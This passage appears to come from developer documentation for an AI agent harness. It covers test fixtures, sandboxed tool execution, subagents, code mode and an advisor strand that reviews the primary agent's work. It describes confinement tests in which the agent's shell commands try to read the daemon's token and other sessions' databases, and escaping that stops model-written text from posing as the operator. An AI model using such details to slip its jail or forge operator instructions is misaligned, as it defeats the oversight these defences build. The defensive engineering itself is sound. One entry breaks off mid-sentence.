`kill-server` end this one's pane (a `/dev/ttysNNN: No such file` line in
the TUI's stderr) or leave its keys and captures following the other run's
session.
Skips — loudly — when `tmux` or `go` is absent.
- `test/support/tui_driver` is the in-process real-client companion.
Each actor owns a socket ingress and a separate model inbox, and uses
`tui.connect_remote` and `tui.run_script` for the shipped handshake and
loop. Selected socket messages move through the model inbox in order;
sharing that inbox with the socket would let re-delivery reorder frames.
`two_virtual_tuis_share_one_real_session_test_` in `tui_e2e_test` checks
two distinct prompt/reply round trips, equal decoded records once in
order, rendered replies, fresh-subscription recovery, and both detaches.
The next prompt waits for the clients' idle phase, not merely the
assistant entry. `tui` and the existing pinned `etui` are test-only
dependencies; neither enters the server's production dependency graph.
- `test/support/provider_http.{Exchange, Latest, ObservedRequest, with_server}` is
a finite loopback Anthropic peer for the separately shipped daemon. It
checks the latest user text or exact successful tool result before consuming
one script step, and returns bounded request evidence. `ToolUseExchange`
emits a fixed call; `ToolResultExchange` requires its nonempty ID and complete
single text result with `is_error: false`. `ComputedExchange` is the one step
whose reply is built when the request arrives, for handles the harness mints
while a fixture already runs — a background job's id lives in the text of the
tool result that announces it. Its matcher stays exact: either the complete
user text, or the provider's own invocation identity when the result's text
is the unpredictable half. Only the answer is computed, and only from
retained request evidence the caller still asserts on. Text steps retain the normal
human-attribution projection. Tests pass the actual HTTP tool-use stream
through the production decoder and encode results through the production
adapter. Exact refusal reasons distinguish limit checks from script mismatch.
A refused, replayed or missing request makes the final report fail. The
wrapper retains original listener and script-actor monitors outside its
bounded callback. `tui_shipped_multiplayer_test` uses ordinary provider
configuration and a public dummy key, then compares three native drivers'
exact durable records, authors, rendered answers and idle completion across
two turns and an operator's detach/rejoin. No fixture writes the answers
into the session store or injects a transport into the shipped VM.
The same fixture checks invitation boundaries against a second resident
session in another workspace. Owner-positive metadata, operation and upgrade
checks distinguish authorization refusal from a missing target. A raw valid
observer `set_config` frame checks the gateway independently of the TUI guard.
A later owner-acknowledged membership revocation closes Bob's live raw and
terminal attachments. Surviving clients receive Alice's next configuration;
Bob retains his old cut and cannot reattach, although control authentication
still succeeds. This is distinct from the scripted admission/delivery race.
The real `/sessions` selector also retains the original adopted channel when
membership in its highlighted target is revoked before Enter. An owner
attachment proves the target still works; Alice's next shared configuration
update proves the original attachment and socket still carry traffic.
After membership is restored, Alice switches A-to-B-to-A while Reader stays
on A. Two further provider turns establish independent histories, and Alice
returns to A's original epoch/incarnation with records equal to both peers.
The turns are sequenced; simultaneous provider execution is not claimed.
Its later live-tool stage creates A2 in A1's workspace. An ordinary bash
invocation remains held while Alice first fails to select A2, then completes
separate A2 and B turns. Host release follows both turns. Exact invocation,
result and final-answer records converge on the two A1 peers and Alice after
her return; fresh A2/B captures retain their own histories. This uses all
eight provider script steps and preserves the original cleanup deadlines.
Workspace markers prove benign execution, not filesystem confinement.
`daemon_shipped_stop_test` holds a real HTTP response in A while B completes
turns before and after A's stop. Exact provider-socket closure precedes the
owner's `Saved` observation. Explicit reopen resumes A in a new incarnation:
two equal HTTP requests correspond to one durable user admission, an
interrupted settlement and a final answer. The fixed held peer owns its
sockets in one managed worker and routes observations through an actor's
reply protocol. Framing and closure negatives exercise its actual boundaries.
This proves cooperative stop/recovery, not an uncooperative drain or a kill.
`daemon_shipped_schedule_test` changes only a Saved session's configuration
to add an overdue one-shot. A live peer progresses while a read-only SQLite
cut proves no firing or transcript mutation. Explicit open fires it once;
another stop/open preserves its exact durable fired cell and all message
records. This uses ordinary configuration and the real scanner, not a poke
or injected clock. It does not cover recurring cursors or memory-file absence.
`daemon_shipped_jobs_test` is the background-jobs acceptance. A scripted turn
backgrounds `tail -f build.log`; the fixture appends three lines from outside
the jail; the next turn's poll must find the job pending; a kill produces a
terminal state naming the owner and carrying the helper's `cancelled`
witness, and that same poll — ordered after every byte the helper sent — must
carry exactly those lines, the staged spill and the cursor they advance to;
and the payload must be gone. How that last one is proved is decided once
from the platform (`PayloadIdentity`): a birth-qualified fence over the pid
the payload publishes where the host shares it, and the terminal record plus
the jail's containment where `bwrap --unshare-pid` hides it. A second
scenario runs the same door from code mode through a real hermetic build and
a real satellite, and proves the durable half of independent lifetimes: a
later program finds the record under its own id. It asserts no state, because
a code-mode teardown aborts its whole operation and takes the job with it —
`docs/next.md` owns that. A third SIGKILLs the VM and proves the sweep
commits `Lost`, the model's own poll reads it, and the start marker the
fixture removed stays gone, which only a respawn would undo.
`daemon_shipped_confinement_test` is the product-level half of the state-root
masking claim the sandbox self-test probe makes at the helper level. Two
sessions on one fresh state root: B is created first so its conversation
database exists, then A runs four foreground `bash` calls, three of them at
the daemon's own `owner.token`, `catalogue.db` and B's database by absolute
path, and one that writes a per-run marker inside A's workspace and reads it
back. The negatives assert on the secret rather than the error, because a
masked path does not refuse the same way twice: a protected file is bound to
`/dev/null` on Linux and reads as zero bytes, a protected directory becomes a
read-only tmpfs, and Darwin denies all three. So the assertions are that the
token's own bytes, read from the host, and the SQLite header never reach the
model, and that B's database open failed or produced nothing. Every command
ends in an `echo` carrying its own exit status, so a refusal is still a
successful tool result the scripted provider's `AwaitToolResult` steps match.
A host-side existence check runs before the negatives, so a moved layout
fails as "path absent on host" rather than passing vacuously, and the
positive fails a jail that runs nothing at all.
- `test/support/enforcement.{Enforcement, probe, unavailable_reason}` measures
whether the `loom-exec` beside a shipped server can enforce a policy on this
host, by running one harmless jailed command under `PlatformEnforcement`. An
OS name and the presence of `bwrap` establish nothing. Every shipped fixture
that needs real confinement gates on it, each passing its own label so a census
learns which declined, while the reason after the colon stays one string with
one declaration in `.github/declared-skips-linux-gate`. It panics rather than
skipping on a missing, unstartable or failing helper: that is a broken
shipment, not an environment without a jail.
- `client/agency.Config.subagent_model` — the host's `subagent` route,
resolved, as a closure: `Ok(#(identity, thinking))` seeds a spawned
child with that model and that level, `Error(Nil)` inherits the parent
wholesale. A closure for the same reason `clock` and `rest` are — the
Agency is built before `api.open`. `Config.models` carries the catalogue's
explicit choices as identity/thinking pairs. An optional spawn `model`
selects one by catalogue name before consulting this default route.
- `client/agency.{Config, Message, seam, start, reaping_hooks,
child_name, is_subagent, frame_message, frame_brief,
child_notice, ChildFacts, result_schema_prefix}` — the Agency:
`tools/agent`'s messaging seam implemented over a live runtime. `seam`
closes over a process *name* so it can be built before `api.open`;
`start` puts the returned runtime behind that name. Everything with
teeth lives here — the descendant-only addressing rule, the depth and
fan-out caps, the multi-handle wait loop, the lineage ledger's four
reconciliation branches, the lazy deadline reap, the result contract a
spawn's `result_schema` writes and the child is judged against, and the
framing that marks another agent's text as data. `child_name` mints
`sub:{parent}/{slug}-{digest}`, the digest being
`agent.call_site_digest` over the caller's coordinates and the `Minter`
inside them. `owns(runtime, ancestor:, strand:)` is the addressing rule
exposed for a seam outside the messaging plane —
`client/scheduleseam` asks it whether a schedule's target is a strand
the caller spawned — and it fails closed at every step: an unreadable
ledger, a strand with no cell and a cell that will not decode all
answer `False`, and the relation is strict, so a caller meaning "itself
or a descendant" says so at its own door. `is_subagent` is not a
substitute: it says a name was minted by *an* Agency, not by whom, and
a sibling's name is shaped exactly like a child's.
- `client/codemode.{Config, Toolchain, seam, discover, toolchain,
install_prefix, toolchain_mounts, clear_of, default_config,
execute, exec_config, build_config, exec_root, execution_policy,
sockets_under, socket_directory, host_socket_directory,
reaching_socket, translate, pooled_budget}` — code mode: `tools/codemode`'s seam
implemented over the real pipeline, the other package this one exists
to join (`tools` cannot see `codemode`, which already depends on it).
`discover` locates `gleam`, `erl` and a verified build seed or says
what is missing *and how to supply it*, each executable through
`locate` — the tree this server shipped in first, `PATH` second;
`seam` closes over a `Config` and needs no process
name, because the broker it dispatches through already exists;
`execute` prepares a per-execution directory, drives vet → compile →
run under the caller's own `{op_id, step_id}`, restates the pipeline's
two enforcement reports in the tool's vocabulary, and removes the
directory again. `Config` carries no `vet_policy` of its own: it
carries `surface`. `clear_of(toolchain, writable_roots:)` refuses a
toolchain one of whose read-only mounts would cover a writable root,
`/proc` or `/dev` (`protocol-change/057`). `install_prefix` resolves no
symlink, so a merged-usr `/bin/erl` found through `PATH` gives `/` and a
symlinked `~/bin/gleam` gives the home directory; the refusal is the
choice over resolving the link because resolution needs an `@external`
and a resolved target can still be `/` or `$HOME`.
- `client/codemode.launch_refusal` — what policy composition would
refuse a satellite launch for: `tools/codemode.RunRefused` carrying the
exact grants that would satisfy it, or `NothingRefused`. `execute`
wraps the pipeline's `satellite.Launcher` with it and reports the
answer outward beside the outcome, which is the whole of what makes an
escalation record *mintable* from inside code mode (#97). Public
because it is the wrapper's entire decision and the only part of it a
hermetic test can hold still.
- `client/codemode.{workspace_seam, workspace_seam_for, search_seam_for,
over_scratch,
over_jobs, into_blobs, blob_directory, default_blob_root}` — the harness-side capability
bridge (issue #16), and
the half of it that lives on this side of the seam. `workspace_seam`
builds the eight closures `codemode/workspace`'s router calls: `fs_read`
and `fs_list` over `tools/fs.resolve_real` and `fs.read_text_file`,
`fs_write` and `fs_edit` over `fs.resolve_writable` —
the harness's *own* path boundary and *own* large-file guard, never a
second resolution — `kv_*` over the session's `client/scratch` store,
and `emit` over the session's blob root. `over_jobs` is how a
`Config.jobs` is set: `Some(door)` becomes the `JobDoor` a program's
`job.*` calls reach, and `None` becomes `workspace.no_jobs()` — every
arm refusing in band rather than going unrouted, which is the opposite
of the `schedules` posture and deliberate, because `bash`'s `mode`
argument offers a job from a tool call whether or not a program can
start one. `workspace_seam_for` is the same bridge bound to coordinates
a caller supplies rather than a request's, which is how
`client/extension/dispatch` builds an extension invocation's.
`search_seam_for` is the read-only sibling `codemode/search`'s router
calls (issue #365), composed under `workspace.routing` on both the
code-mode and the extension path, and it takes the workspace and
nothing else — a search reaches no store, no schedule and no job.
Its four closures differ only in which path they put through
`resolve_real`: `glob` and `grep` resolve the query's root and let
`tools/search` keep containment by never following a symlink,
`read_lines` resolves the whole path exactly as `fs_read` does, and
`stat` resolves the path's **parent** and lstats the leaf beneath it,
because a `stat` that resolved the leaf would follow the very link it
was asked to report. `blob_directory` (`blobs`) is the one
place the store's name is written down. `client/serve.session_blob_root`
computes the root once, in the session's state directory outside the
workspace, and hands the same string to the tool context, to
`into_blobs` and to the jobs spill, so an artifact a program emits and
an oversized `bash` output that overflowed land in one store under one
address. `default_blob_root` (`<workspace>/.codemode/blobs`) is for a
host with no state directory, which in practice means tests and the
demo; a daemon never uses it. `legacy_blob_directory` (`.blobs`) names
where earlier releases kept the store, for `client/blobs` and
`worktree_diff`. Listing is
the one operation with no counterpart in the tool set — `tool.FileSystem`
has no primitive for it — so the enumeration is `simplifile`'s, on a
path `resolve_real` has already contained, bounded before it is
classified and answered with lstat semantics so a symlink is never
called a directory.
- `client/history.{Config, Message, index_file, default_timeout_ms,
index_beside, probe, over_session, with_source, sqlite_generation, start, supervised,
stop, poke, synchronize, seam, commit_pull, supervised_commit_pull}` —
the one process that owns this repository's `events/search` index, and
the seams that reach it. Addressed by a Weft reference, like the Agency
and scratch store, so the tool seam is built before the holder exists
and a replacement binds that address and reopens the index. `probe` is
the boot question: an index that will not open registers no
`history_search` tool and logs one worded line, never a boot refusal.
`over_session` binds the holder to one open session's store and takes
its rewrite generation as a **thunk** (`sqlite_generation`), called
fresh on every pull, because a precise rewrite bumps it underneath a
long-lived holder — and a generation that cannot be read skips the sync
rather than guessing zero. `with_source` records the host's session path
after sync. `ReadEntry` resolves canonical IDs through that registry,
validates source identity and returns a decoded entry through a read-only
SQLite connection. The model never chooses a filesystem path.
- `client/notes.{max_digest_bytes, fence, digest_hooks, digest, cells,
try_cells, strand_of}` — the `agent/` notes digest injected at run
start, and the board read `client/checkpoint` shares. `cells` reads an
unreadable store as an empty board — right for a digest, which a run
is never held up for — and `try_cells` is the `Result` form the
checkpoint asks, because publishing "you wrote no notes" over a store
that did not answer would be a durable falsehood.
`digest_hooks` **wraps** an existing `run_start` rather than setting it
(`hooks.with_run_start` replaces, so a setter would silently drop a
previous layer), resolves the strand from the `OpId` through the
durable `op.meta` cell, reads the strand's `agent/{strand}/` fact cells
straight off the session store — hooks are built before `api.open`, so
there is no runtime handle and no Agency to ask — and renders them
newest-written-first by register seq, capped at 4096 bytes, fenced and
attributed. A strand with no notes gets nothing at all.
- `client/blocksummary.{Route, Wiring, Message, route, key, encode,
decode, jobs, request, parse, read, observer, start, supervised,
request_timeout_ms, max_answer_tokens, request_deadline_ms,
max_summary_bytes, source_limit_bytes, scan_limit}` — the block
summarizer (protocol 050), one **`weft/state_machine`** per session
that asks the `summarize` role for a one- or two-sentence summary of
each long reasoning block and each long delivered advice or nudges
message. `route` resolves the `summarize` role's first identity and
pins it (`ForResolved`, thinking off, `max_answer_tokens`) with **no
fallback** to another role or provider; a catalogue that routes none
gets no machine. The confidentiality check compares services by
`endpoint(entry)`: the lowercased scheme and host of the entry's
`base_url`, or `dialect:<name>` when it has none, so entries on one host
are one service. `settled_admission(catalogue, route.provider)` is the
set of entry names sharing the summarize entry's endpoint, and
`jobs(entry, admits:, floor:)` admits a reasoning block only when it
accepts the message's `provider` (an unknown name is refused). A stream
names no provider and a role's chain may fall back across services, so
`observer(name, admits)` observes a request only when `admits` accepts
its strand identity and `Turn`; production passes `live_admission(catalogue,
provider)`, the identities for which `admits_live` holds: the identity,
every chain it heads, and, for a text-only identity on an `ImageTurn`
(`vision.image_bearing` of the request's context; a poll counts as one),
the `vision` chain all share the endpoint. Both sets are computed once at wiring time, so no
catalogue is copied into a relay process. Any other request gets a
no-op callback. Advice and nudges bodies
(`advisorslice.delivered_body`) are exempt. The machine has two
addresses: `Wiring.name` for the tap's `Streamed`/`StreamEnded` casts,
and `Wiring.commits`, a `writer.Event` address it binds itself in its
initialiser with `registry.register_self`, which the runtime writer
names as a `Routed` subscriber — so no forwarder process sits between
them. A commit hint scans message entries above an **in-memory**
high-water (set below the first hint's oldest seq, so a restart never
summarizes history) up to the hint's newest seq, at most `scan_limit`.
`client/blocksummarybook` paces the work; each launch is a one-task
`weft` run under `request_deadline_ms` relayed into a per-flight sink,
cleared only on the run's last word. A settled task asks, bounds the
answer with `parse` (whitespace collapsed, `Summary:` and quotes
stripped, `max_summary_bytes` at a word boundary), writes
`summary/<entry>/<block>` through `Wiring.write`, then publishes
`bus.BlockSummary(SettledBlock)`. A live task publishes
`bus.BlockSummary(LiveStream)` and stores nothing. Every failure writes
and pushes nothing; the first is logged `block_summary.unusable` at
warning level, later ones at debug. `read(session, blocks)` is the
`block_summaries` command's exact-key read and returns `Read(board,
missing)`. **Only the primary strand is summarized eagerly**: a commit's
jobs are kept when their entry lies within `primary_window` (128)
entries of `main`'s leaf, and live streams on any other strand are
ignored (resolved once, then remembered in a set emptied at 32). Other
strands' blocks are summarized on demand: the gateway, after replying to
a `block_summaries` read, passes `missing` to `ask_for`, and the machine
queues each eligible block (the same `jobs` test) that is not already
waiting or out (`blocksummarybook.queued` plus the settled flights), so
repeated reads queue nothing more.
- `client/blocksummarybook.{Pace, default_pace, Source, Job, Launch, Book,
new, streams, tracks, waiting, grow, ended, landed, admit,
settled_landed}` — the summarizer's pacing as pure functions. Settled
jobs launch oldest first up to `settled_concurrency` (2) with at most
`settled_backlog` (16) waiting, dropping the oldest past it. A live
stream is due when it has no request out, has carried `floor_bytes`
(512) and has grown `every_bytes` (4096) or `every_lines` (40) since
its last request began; growth during a request coalesces into at most
one more request, launched by `landed` with the newest text. A stream's
retained text is trimmed to its newest `window_bytes` (32 KiB) once it
reaches twice that. A stream that `ended` with a request out is
forgotten when that request lands. Across streams, at most
`live_concurrency` (2) live requests are out, and a stream refused a
slot is considered again on its next fragment; at most `max_streams`
(8) streams are tracked, and a new one evicts the oldest with no request
out, because the relay does not report every stream's end to its
observers.
- `client/advisorslice.{Bounds, Slice, Moment, default_bounds, render,
feed_message, advice_message, nudges_message, is_advice, delivered_body,
advice_header,
advice_footer, feed_header, feed_footer, nudges_header, nudges_fence}` —
what the advisor strand is shown of the primary's branch, and the frames
that carry text both ways. `Moment` is `RunEnded | RunOpen(steps)` and
decides one leading line of the feed body: a mid-run slice says the run
is still open and how many steps it has been, because an advisor weighs
a `block` against work in progress differently from work its author
considers finished. That line is body rather than a second header on
purpose — the frame's two tokens are what `is_advice` and the terminal
recognize a feed by, and the terminal keeps copies it cannot import. `render` turns the entries appended since a stored cursor into
one bounded text: `Bounds` caps a single entry's payload and the whole
window separately, oldest entries are dropped from the front with an
`[N earlier entries omitted]` line, and a tool result too long for its cap
is cut from the middle so both the command and its verdict survive.
Assistant thinking never renders, redacted markers included. `Slice.newest`
is the seq of the newest entry the scan saw whether or not it rendered, so
an entry the rules skip still advances the cursor. Advice and nudges land
in the primary's branch as ordinary user messages and come back in the next
slice labelled `advisor (your earlier advice):` and
`advisor (your earlier nudges):`, because unlabelled they would read to
the advisor as operator instructions. A frame is recognized by its header
*and* its footer, so an operator quoting a verdict back keeps their own
attribution, and `advice_message` makes the body frame-safe — either
advice token occurring inside it has its brackets replaced with
parentheses — so model-written text cannot close the frame early and
continue in the operator's voice. The module is pure — no store, no
process, no clock — and borrows `notes.{clip, byte_size, fence_safe}`
rather than keeping a second copy of the byte arithmetic and the fence
defence.
- `client/advisorguard.{Verdict, Policy, Guard, Decision, default_policy, new,
runs, pending, primary_run_ended, decide, take_pending, encode, decode}` —
what one `advise` verdict becomes, as pure data. `decide` applies four
rules in order: empty text is dropped, advice whose normalized digest is
already in the ring is dropped, a `Block` inside the cooldown window is
downgraded to a nudge carrying the reason, and a nudge that does not fit
the queue's count or byte cap is dropped. `Quiet` records nothing at all,
so a quiet advisor cannot age its own history away. One ring serves both
channels, and a drained nudge stays in it: repeating advice the primary
has read is the duplicate the ring exists to stop. Identity is the text
lowercased with whitespace runs collapsed, SHA-256, truncated to 128
bits. `Guard` is opaque because two of its four fields are invariants —
`last_block_review` indexes the same clock `reviews` carries, and a value
past it would make the elapsed arithmetic negative and shut the block
channel for the session, which is why `decode` re-checks it. `decode` is
lenient about an absent field (it takes the empty guard's value) and
strict about a present one of the wrong type, which is also what carries
a cell from the build whose clock counted the primary's runs: its `runs`
and `lastBlockRun` are absent under the names read now, so the clock
restarts while the ring and the queue survive. `default_policy` is a
two-**review** cooldown, a ring of thirty-two, and eight nudges or four
kilobytes pending; only the cooldown is configurable. The clock counts
reviews rather than runs because one run now holds many: `review_opened`
is called when a slice is actually handed over, never on one coalesced
away or one whose send failed.
- `client/advisor.{strand, primary, cursor_key, guard_key, goal_key,
reevaluate_every_ms, brief, Settings, Wiring,
Message, ask, start, supervised, hooks, seam, abort_notice,
ensure_strand, active_tools}` — the actor that joins the two pure
halves above to the session, and **performs** the session's goal loop
(protocol 044) whose transitions are `client/goalloop`'s. Its goal code
is four steps and no decisions: gather what the two strands are doing,
call `goalloop.next_action`, perform the `Action`, store the cell. The
loop is level-triggered, so every goal-relevant message — a run end, a
run start, a review end, an abort, a verdict, a spend trigger, an
operator command, and `ReevaluateTick` every
`reevaluate_every_ms` (two minutes, armed once through `weft/actor`'s
`periodic`; it cannot be armed conditionally because `periodic` is a
builder field a handler cannot re-time, and the interval is long because
the tick is only the recovery path and an unconditional tick keeps this
actor out of hibernation) — is an occasion to read the level rather than an edge to
apply. The actions it performs are the goal feed (sendable with an
empty slice, which is what `/goal resume` on an already-reviewed idle
primary needs), the continuation wake through a door that spends no
operator-turn budget, and the one-shot wrap-up, which is one-shot
structurally because the goal is already `Limited` when the action
arrives and a `Limited` goal rests. It also owns the goal's accounting,
and there is exactly **one code path that adds**: `PrimarySpent` is a
trigger carrying nothing, and `account_recompute` scans the usage
ledger past `accounted_through_seq`, counting a row only when
`set.contains` says the entry it names is on the primary's branch — the
branch scan bounded by the accounting window rather than by a row cap,
because a capped set is a prefix of the chain and would drop the
primary's older rows as foreign. `ensure_strand` seeds the advisor through
`api.create_idle_strand` and never through the Agency, so it carries no
`lineage/` cell: the primary cannot address it, it can address nothing,
and `strand.roster` does not list it. `hooks` wraps four slots —
`run_end` casts `PrimaryRunEnded`/`AdvisorRunEnded`, then asks
`TakeAtRunEnd` and returns whatever it drained as a born-placed
follow-up when the inner slot placed none (so the primary reads its
nudges before it stops rather than after the operator next types);
`usage` casts `PrimaryStepped` for the primary's steps and nobody
else's; `run_start` asks `TakePending(operation:, reply:)`, which both
drains the queued nudges with a bounded call and hands back this
operator turn's one unsolicited-delivery budget if `operation` is not
the run this actor itself opened; and `context` prepends `brief` to the
advisor's own requests transiently. `Message` also carries `Judge`,
which now drains and delivers the queue itself — through the same door
a block uses — when the verdict is `Queued` or `Downgraded` and the
primary is idle with its turn unspent, so the decoupled `TakePending`/
`TakeAtRunEnd` drains are joined by a third, synchronous one inside
`decide`. The run-end drain also remembers the operation it checked. A
nudge judged before that operation settles joins its durable follow-up
queue, so it need not wait for another operator prompt. `seam` is the
`advise` door, which refuses any caller whose
durable strand name is not `advisor`. The actor owns `cursor_key` and
`guard_key`, reads them lazily on its first message because the runtime
it borrows may not be up at start. Its `Memory` carries two fields
beyond the durable cells, both deliberately heap-only: `Turn`
(`Unspent`/`Spent`) is this operator turn's one unsolicited delivery,
and `woke: Option(OpId)` is the newest run this actor opened on the
primary, read together at every run start so a run this actor itself
woke cannot renew its own budget — the loop the duplicate ring cannot
cut, since a paraphrase passes it. A restart forgetting both costs at
most one extra wake. **Nothing the goal loop decides from is heap
state**: the phase, the three bound counters and the accounting pair all
live in the cell, because an earlier draft kept the phase in the heap and
every way of losing it left an Active goal with nothing running.
**The step trigger is what makes a long run legible.** A run is many
steps and nothing bounds how many, so with the run end as the only
occasion an agentic loop could work indefinitely unreviewed.
`Settings.feed_every_steps` (20, or 0 for the run-end-only cadence) is
the threshold, and it is a **floor rather than an interval**: a feed owed
while the advisor is still reading is coalesced and owed, and the review
end pays it, so a continuously working primary is reviewed once per
review duration. That is what bounds staleness when the reviewer is the
slower model, and it is also what the pairing costs. The trigger rides
`usage` because that slot fires once per committed step, returns `Nil`,
and lands *after* the commit — `admission` is per-step too and wrong
twice: a decision on the critical path, and fired before the request.
- `client/advisor_pending.{Error, read}` — the one read of the advisor's
undelivered nudge queue that does not go through the actor. `read`
takes one exact-key `fact.custom` selection for `advisor.guard_key`
through the bounded snapshot reader and decodes it with
`advisorguard`'s own decoder, never with `take_pending`: the drain
belongs to the primary's run-start and run-end hooks, and a read that
took the queue would deliver the advice to nobody. A missing cell is an
empty board — the positive claim that a session's advisor has nothing
waiting — but a cell present and rejected by the decoder is `Malformed`
rather than an empty board, because an unreadable cell is not evidence
for that claim. Backs the `advisor_pending` command; see the wire
section below.
- `client/memory.{max_sidecar_bytes, digest_reader}` — the two halves of
- `client/goalcommand.{Seam, seam}` — the gateway's six goal commands
over the advisor actor's registered address: one record of monitored
bounded calls (`set`, `set_check`, `clear`, `pause`, `resume`) built from the
advisor wiring, so the gateway holds an option of the seam rather
than a dependency on the actor's internals. The two call layers
flatten — an unavailable actor and the actor's own refusal are both
the operator's answer — because there is no case where a dead plane
should read as a committed command.
- `client/goal_pending.{Error, read}` — the goal's one read that does
not go through the actor: an exact-key `fact.custom` selection for
`advisor.goal_key` through the bounded snapshot reader, decoded with
`goalstate`'s own decoder. A missing cell is a board whose `status` is
`none` — no goal is a real state — and a cell the decoder rejects is
`Malformed` and answers `unavailable`, never a positive empty. The
`goal_get` command and every committed mutation's fresh-board reply
project this read; the actor keeps the writes.
- `client/goalstate.{PauseCause, LimitCause, Status, Phase, Goal, new,
status_of, tokens_used_of, reviewer_note_of, encode_status,
encode_reason, decode_status, encode_phase, decode_phase, encode,
decode}` — the session goal's durable shape as pure data, and the
cell's only codec. The `goal/state` field names are frozen by protocol
044 §1: `objective`, `status`, `reason`, `phase`, `token_budget`,
`tokens_used`, `accounted_through_seq`, `cost_used`, `continuations`,
`zero_progress`, `unanswered_feeds`, `created_ms`, `updated_ms`,
`reviewer_note`, `check`, `last_check`.
Two shapes here carry the design. `Status` is `Active | Paused(by:
PauseCause) | Limited(by: LimitCause) | Complete`, and the cause is
carried because the status word alone named four different pauses
(`operator`, `aborted`, `zero_progress`, `reviewer_unresponsive`) and
two different limits (`token_budget`, `continuation_cap`), which told
the operator the harness was holding their goal and refused to say why.
The four wire words do not move; `reason` rides beside them, and the
decoder **checks the pairing** rather than defaulting it — a `paused`
with no cause, or an `active` with one, is an error naming the field.
`Phase` is `Idle | Checking(deadline_ms: Int) | ReadyToFeed |
AwaitingVerdict(feed: OpId) | Continuing(woken: OpId, since_seq: Int)`,
stored as `{state, operation, since_seq, deadline_ms}` with each rider null
outside the state that names it, and it is what makes the loop recoverable:
a restart reads it and knows a verdict is owed and by which advisor run,
which primary run is the loop's own, and whether a check is in flight and
until when. `Checking`'s deadline is durable because the check runs in a
task linked to the actor, so an actor that dies takes it with it and a
deadline already passed is the repair rather than an error. Neither
`Checking` nor `ReadyToFeed` survives a primary that goes back to work:
both describe the tree as it stood before that run, so the loop returns the
phase to `Idle` and the check runs again for the stretch the feed is
actually about.
`CheckEnding` is `Exited(status: Int) | DidNotFinish(reason: String)` and
`CheckResult` carries the command that actually ran beside it, so an
operator who changed the check does not see the old run labelled with the
new command. The pair is stored as `status`/`not_finished` with exactly one
non-null, refused rather than resolved when both or neither is present.
The decoder is strict where the guard's is lenient, deliberately: this
cell is written whole by one owner, so an absent required field
(`objective`, `status`, `phase`, `token_budget`, `created_ms`,
`updated_ms`) is a writer/decoder disagreement rather than an older
writer. The five counters default to zero when absent and are refused
when negative — each counts something that only grows — `token_budget`
is required and positive (v1 has no unbounded goals), and an
`updated_ms` before `created_ms` is refused. **A cell written by the
feature's own earlier implementation does not decode**, and that is a
deliberate clean break: `phase` is required and the status pairing is
checked, there are no deployed goal cells, and tolerating the old shape
would mean accepting a goal with no recorded phase — the state the
rework exists to remove. No transitions live here; those are
`client/goalloop`'s, and the `goal_set` handler owns the objective's
4,000-character bound, which is why `new` is total and unvalidated.
- `client/goalcheck.{output_tail_chars, output_bytes, settle_grace_ms,
slot_wait_ms, slot_retry_ms, slot_never_came_free, step_id, Wiring, Runner,
wiring, unavailable}` — the operator's goal check
as one jailed process. It clears through `tools/tool.broker_runner`, the
closure the `bash` tool itself clears through, under the session's own base
policy: operator-authored is not exempt from Rule Zero, which is about
where code runs rather than who wrote it, and a check is deliberately not
narrowed to a read-only workspace because the commands an operator pins
write build output. `Wiring` is one blocking closure, the wall it runs
under and the backstop the caller kills its task at, so an advisor test
stubs a check that passes, fails, hangs or dies without a broker, a helper
pool or a jail; `Runner` is the fields the production path needs, which are
`client/jobs.Wiring`'s own. The backstop is the wall plus the clearance a
congested helper pool may cost plus `slot_wait_ms` plus `settle_grace_ms`,
never the wall
itself: both clocks start in the caller and the task's starts first, so a
task killed at the wall could never deliver the settlement the sandbox
reached there. The step id is its own name so the pooled execution budget
is not shared with the hooks' — and because that pair's ledger admits one
call at a time, an abandoned check is *cancelled* rather than left running:
`client/advisor` keeps the witnessed handle and cancels it whenever the
goal leaves `Checking`, which is what returns the slot through the broker
relay's caller-watch.
**The cancel does not return the slot synchronously**, and that is the one
refusal this module waits out rather than reports: the relay cancels the
execution and drains it to the helper's terminal event before releasing the
budget, while the actor starts the replacement at once, so the replacement is
refused with `OutstandingCapReached` for a reason that says nothing about the
command. Reporting it showed the reviewer "no exit status" for a command that
exits immediately, and not only once — the shape recurs every time the primary
goes back to work with a check in flight, so a whole run's feeds can carry it.
The wait is `slot_wait_ms` at `slot_retry_ms`, spent in the check's own weft
task so the actor still never blocks; a slot that outlasts it is recorded as
`slot_never_came_free`, so a check that can never start still lands a result
and still feeds. Every other refusal is a decision more time cannot change
and is reported at once.
A settlement the wall stopped reports **no** exit status, because a number
invented for it would read to the reviewer as the command's verdict on the
work.
- `client/goalloop.{continuation_cap, zero_progress_limit,
unanswered_feed_limit, check_timeout_ms, Progress, Answer, Event, Observed,
Action, next_action, defers_the_refeed, feed_opened, primary_woken,
progress_of, check_did_not_finish, wrap_up_text, stopped_because}` — the
goal loop's transitions, pure. `next_action(goal,
observed) -> #(Goal, Action)` takes the goal as stored plus a record of
fetched facts (each strand's open operation, whether the stretch since
the feed cursor did work, the occasion, the clock, the wall a check runs
under) and answers `Rest`, `RunCheck(command)`, `FeedReviewer`,
`WakePrimary(text)` or `WrapUp(text)`. It is a module
rather than a set of actor arms because the state space is the product
of four statuses, five phases, three counters and two strands'
liveness, and the failure that mattered was a combination nobody had
enumerated: an Active goal, an idle primary, an idle reviewer and
nothing to do. `goalloop_test` property-walks that space, and the
headline invariant is that the combination never answers `Rest`.
The three bounds live here with their constants. `continuation_cap` (8)
counts continuations **since the last primary run start the loop did not
open** — the reset is the bound, since without it the cap was a lifetime
cap and a resume after a trip tripped again at once. `zero_progress_limit`
(2) counts woken runs that committed no work, and `progress_of` is the
predicate: a tool result, or a user entry that is **not** one of the
harness's own frames, which it recognizes through `advisorslice`'s
two-token pairs. Counting any user message as progress is what made the
bound unfireable, because the continuation frame is a user message
committed after the cursor advances. `unanswered_feed_limit` (3) bounds
the re-feed of a goal feed whose reviewer run ended without a verdict,
so a provider that will never answer the goal words pauses the goal
instead of being paid to refuse forever — and the re-offer is the periodic
tick's rather than that run end's (`defers_the_refeed` names the one
occasion the loop deliberately answers with `Rest`), because offering again
at the run end spent all three tries inside one rate-limit window.
`check_timeout_ms` (five minutes) is the fourth bound and the only one a
process rather than a count: it is both the jailed command's own wall and
the durable `Checking` deadline, so a restarted actor cannot wait on a
process the sandbox has already killed. The task that runs the command is
killed later than that, by `goalcheck.Wiring`'s backstop, so the wall's own
settlement has room to arrive. `wrap_up_text` and
`stopped_because` are the per-cause wordings, rendered once so the
primary's wrap-up, the operator's panel and the reviewer's refusals
cannot word one status three ways.
bounding the sidecar read, which the lifecycle producer moved onto the
